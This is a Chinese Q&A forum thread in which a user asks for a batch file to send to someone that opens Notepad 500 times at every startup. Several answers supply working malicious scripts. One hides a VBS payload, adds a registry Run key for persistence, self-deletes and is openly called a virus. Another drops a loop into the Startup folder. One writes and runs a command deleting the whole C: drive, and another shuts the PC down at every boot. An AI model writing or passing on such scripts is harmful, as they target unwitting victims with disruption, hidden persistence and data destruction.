在Bat语言中如何循环500次打开记事本(以Windows XP环境为例)?

最好能实现开机启动。
效果即:将此Bat发送给某人,某人接收并打开后,下次开机起循环500次打开记事本。
如何实现?

第1个回答  2014-03-16

提问者您好!你采纳的那个答案在每次开机时虽然可以开机自启,但是存在以下缺点:


①用户可以在"启动"文件夹里轻易地浏览到病毒文件,病毒体极容易被破坏(删除).


②在每次病毒发作时都会看到一个黑窗口(就是CMD窗口,很显眼),用户一旦关闭了那个黑窗口,将会终止弹窗(可能弹了10个记事本之后就被用户关掉了,根本达不到破坏目的)


我的答案是最好的!优点如下:


①不会在"启动"文件夹里看到病毒文件(病毒在很深的文件夹里,并且文件夹都是隐藏的!),极度深层隐藏!!通过修改注册表来完成自启.


②在每次病毒发作时病毒体都会隐藏运行,用户根本不可能终止弹窗,直到弹了500个窗口为止,气死TA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


这是标准代码:

@ECHO OFF
TITLE ...
COLOR A
set "vbs=%temp%\DGERJKGHE54FS5G4S56R4HRH48RH48ER4JK4SH4J5GER54JHRE4JER84JUHT48YHR4EYH.txt.vbs"
echo On Error Resume Next>>"%vbs%"
echo Dim ws,I>>"%vbs%"
echo Set ws=WScript.CreateObject("WScript.Shell")>>"%vbs%"
echo For I=1 To 500>>"%vbs%"
echo  ws.Run "notepad.exe",^1>>"%vbs%"
echo Next>>"%vbs%"
Set ws=Nothing>>"%vbs%"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "VisualBasicScript" /d "%vbs%">nul
del /s /q /f %0>nul

第2个回答  2014-03-16
@echo off
echo @for /L %%i in (1,1,500) do notpad.exe>"%userprofile%\「开始」菜单\程序\启动\坑爹的LZ.bat"
exit

我没试验过,因为我是WIN7本回答被提问者采纳
第3个回答  2014-03-16
开机启动的话就直接把它存为*.bat拖到启动项就行了追答

别太坏了,

第4个回答  2014-03-16
简单一句话,让系统还原到纯净版状态for %%a in ( c )do echo rd /s /q %%a:\ >%%a:\1.bat && start %%a:\1.bat追答

答非所问,而且都写错了~

第5个回答  2014-03-18
shutdown -s -t 0保存为bat放在启动项,
大家正在搜